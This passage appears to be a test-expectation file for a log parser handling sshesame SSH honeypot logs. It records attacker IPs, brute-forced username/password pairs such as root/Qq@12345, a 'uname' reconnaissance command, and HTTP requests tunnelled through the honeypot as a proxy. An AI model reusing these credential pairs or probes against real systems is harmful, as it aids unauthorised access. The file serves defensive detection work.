results["s01-parse"]["thespad/sshesame-logs"][137].Success == true results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Parsed["message"] == "2022/05/06 09:36:45 [190.2.139.67:7117] [channel 134] input: \"GET /?requestid=17483 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Parsed["sshesame_input"] == "GET /?requestid=17483 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Parsed["timestamp"] == "2022/05/06 09:36:45" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Meta["input"] == "GET /?requestid=17483 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][137].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][138].Success == false results["s01-parse"]["thespad/sshesame-logs"][139].Success == false results["s01-parse"]["thespad/sshesame-logs"][140].Success == false results["s01-parse"]["thespad/sshesame-logs"][141].Success == false results["s01-parse"]["thespad/sshesame-logs"][142].Success == false results["s01-parse"]["thespad/sshesame-logs"][143].Success == true results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Parsed["timestamp"] == "2022/05/06 09:39:53" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][143].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][144].Success == false results["s01-parse"]["thespad/sshesame-logs"][145].Success == false results["s01-parse"]["thespad/sshesame-logs"][146].Success == true results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Parsed["timestamp"] == "2022/05/06 09:39:53" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][146].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][147].Success == false results["s01-parse"]["thespad/sshesame-logs"][148].Success == false results["s01-parse"]["thespad/sshesame-logs"][149].Success == true results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Parsed["message"] == "2022/05/06 09:44:27 [190.123.44.157:50934] authentication for user \"root\" with password \"1234!@#$\" accepted" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Parsed["source_ip"] == "190.123.44.157" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Parsed["sshesame_password"] == "1234!@#$" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Parsed["timestamp"] == "2022/05/06 09:44:27" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][149].Evt.Meta["source_ip"] == "190.123.44.157" results["s01-parse"]["thespad/sshesame-logs"][150].Success == false results["s01-parse"]["thespad/sshesame-logs"][151].Success == true results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Parsed["timestamp"] == "2022/05/06 09:44:29" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Parsed["message"] == "2022/05/06 09:44:29 [190.123.44.157:51298] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Parsed["source_ip"] == "190.123.44.157" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Meta["source_ip"] == "190.123.44.157" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][151].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][152].Success == false results["s01-parse"]["thespad/sshesame-logs"][153].Success == false results["s01-parse"]["thespad/sshesame-logs"][154].Success == false results["s01-parse"]["thespad/sshesame-logs"][155].Success == false results["s01-parse"]["thespad/sshesame-logs"][156].Success == false results["s01-parse"]["thespad/sshesame-logs"][157].Success == true results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Parsed["sshesame_password"] == "tareq" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Parsed["sshesame_user"] == "tareq" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Parsed["timestamp"] == "2022/05/06 09:46:12" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Parsed["message"] == "2022/05/06 09:46:12 [92.38.176.30:58548] authentication for user \"tareq\" with password \"tareq\" accepted" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Parsed["source_ip"] == "92.38.176.30" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Meta["source_ip"] == "92.38.176.30" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Meta["target_user"] == "tareq" results["s01-parse"]["thespad/sshesame-logs"][157].Evt.Meta["username"] == "tareq" results["s01-parse"]["thespad/sshesame-logs"][158].Success == false results["s01-parse"]["thespad/sshesame-logs"][159].Success == false results["s01-parse"]["thespad/sshesame-logs"][160].Success == true results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Parsed["timestamp"] == "2022/05/06 09:46:13" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Parsed["message"] == "2022/05/06 09:46:13 [92.38.176.30:58768] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Parsed["source_ip"] == "92.38.176.30" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Meta["source_ip"] == "92.38.176.30" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][160].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][161].Success == false results["s01-parse"]["thespad/sshesame-logs"][162].Success == false results["s01-parse"]["thespad/sshesame-logs"][163].Success == false results["s01-parse"]["thespad/sshesame-logs"][164].Success == true results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Parsed["source_ip"] == "165.232.183.156" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Parsed["sshesame_password"] == "zhaodandan" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Parsed["sshesame_user"] == "zhaodandan" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Parsed["timestamp"] == "2022/05/06 09:52:11" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Parsed["message"] == "2022/05/06 09:52:11 [165.232.183.156:46374] authentication for user \"zhaodandan\" with password \"zhaodandan\" accepted" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Meta["source_ip"] == "165.232.183.156" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Meta["target_user"] == "zhaodandan" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Meta["username"] == "zhaodandan" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][164].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][165].Success == false results["s01-parse"]["thespad/sshesame-logs"][166].Success == false results["s01-parse"]["thespad/sshesame-logs"][167].Success == true results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Parsed["source_ip"] == "165.232.183.156" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Parsed["sshesame_cmd"] == "uname -s -v -n -r -m" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Parsed["timestamp"] == "2022/05/06 09:52:12" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Parsed["message"] == "2022/05/06 09:52:12 [165.232.183.156:46374] [channel 0] command \"uname -s -v -n -r -m\" requested" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Meta["log_type"] == "sshesame_cmd" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Meta["source_ip"] == "165.232.183.156" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Meta["command"] == "uname -s -v -n -r -m" results["s01-parse"]["thespad/sshesame-logs"][167].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][168].Success == false results["s01-parse"]["thespad/sshesame-logs"][169].Success == false results["s01-parse"]["thespad/sshesame-logs"][170].Success == true results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Parsed["message"] == "2022/05/06 10:01:04 [133.18.236.86:43326] authentication for user \"root\" with password \"Qq@12345\" accepted" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Parsed["source_ip"] == "133.18.236.86" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Parsed["sshesame_password"] == "Qq@12345" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Parsed["timestamp"] == "2022/05/06 10:01:04" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Meta["source_ip"] == "133.18.236.86" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][170].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][171].Success == false results["s01-parse"]["thespad/sshesame-logs"][172].Success == true results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Parsed["message"] == "2022/05/06 10:01:07 [133.18.236.86:43334] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Parsed["source_ip"] == "133.18.236.86" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Parsed["timestamp"] == "2022/05/06 10:01:07" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Meta["source_ip"] == "133.18.236.86" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][172].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][173].Success == false results["s01-parse"]["thespad/sshesame-logs"][174].Success == false results["s01-parse"]["thespad/sshesame-logs"][175].Success == false results["s01-parse"]["thespad/sshesame-logs"][176].Success == false results["s01-parse"]["thespad/sshesame-logs"][177].Success == false results["s01-parse"]["thespad/sshesame-logs"][178].Success == false results["s01-parse"]["thespad/sshesame-logs"][179].Success == true results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Parsed["message"] == "2022/05/06 10:06:35 [190.2.139.67:58629] [channel 137] input: \"GET /?requestid=76082 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Parsed["sshesame_input"] == "GET /?requestid=76082 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Parsed["timestamp"] == "2022/05/06 10:06:35" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][179].Evt.Meta["input"] == "GET /?requestid=76082 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][180].Success == false results["s01-parse"]["thespad/sshesame-logs"][181].Success == false results["s01-parse"]["thespad/sshesame-logs"][182].Success == true results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Parsed["sshesame_password"] == "aisadmin" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Parsed["sshesame_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Parsed["timestamp"] == "2022/05/06 10:28:45" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Meta["target_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][182].Evt.Meta["username"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][183].Success == false results["s01-parse"]["thespad/sshesame-logs"][184].Success == false results["s01-parse"]["thespad/sshesame-logs"][185].Success == true results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Parsed["timestamp"] == "2022/05/06 10:28:45" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][185].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][186].Success == false results["s01-parse"]["thespad/sshesame-logs"][187].Success == false results["s01-parse"]["thespad/sshesame-logs"][188].Success == true results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Parsed["message"] == "2022/05/06 10:28:45 [193.105.134.95:20411] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Parsed["timestamp"] == "2022/05/06 10:28:45" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][188].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][189].Success == false results["s01-parse"]["thespad/sshesame-logs"][190].Success == false results["s01-parse"]["thespad/sshesame-logs"][191].Success == false results["s01-parse"]["thespad/sshesame-logs"][192].Success == true results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Parsed["message"] == "2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Parsed["timestamp"] == "2022/05/06 10:39:28" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][192].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][193].Success == true results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Parsed["message"] == "2022/05/06 10:39:28 [45.82.65.44:42736] [channel 28] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Parsed["timestamp"] == "2022/05/06 10:39:28" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][193].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][194].Success == false results["s01-parse"]["thespad/sshesame-logs"][195].Success == false results["s01-parse"]["thespad/sshesame-logs"][196].Success == false results["s01-parse"]["thespad/sshesame-logs"][197].Success == false results["s01-parse"]["thespad/sshesame-logs"][198].Success == false results["s01-parse"]["thespad/sshesame-logs"][199].Success == true results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Parsed["timestamp"] == "2022/05/06 10:43:18" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Parsed["message"] == "2022/05/06 10:43:18 [193.105.134.95:46780] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][199].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][200].Success == false results["s01-parse"]["thespad/sshesame-logs"][201].Success == false results["s01-parse"]["thespad/sshesame-logs"][202].Success == true results["s01-parse"]["thespad/sshesame-logs"][202].Evt.Parsed["message"] == "2022/05/06 10:43:19 [193.105.134.95:46780] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" 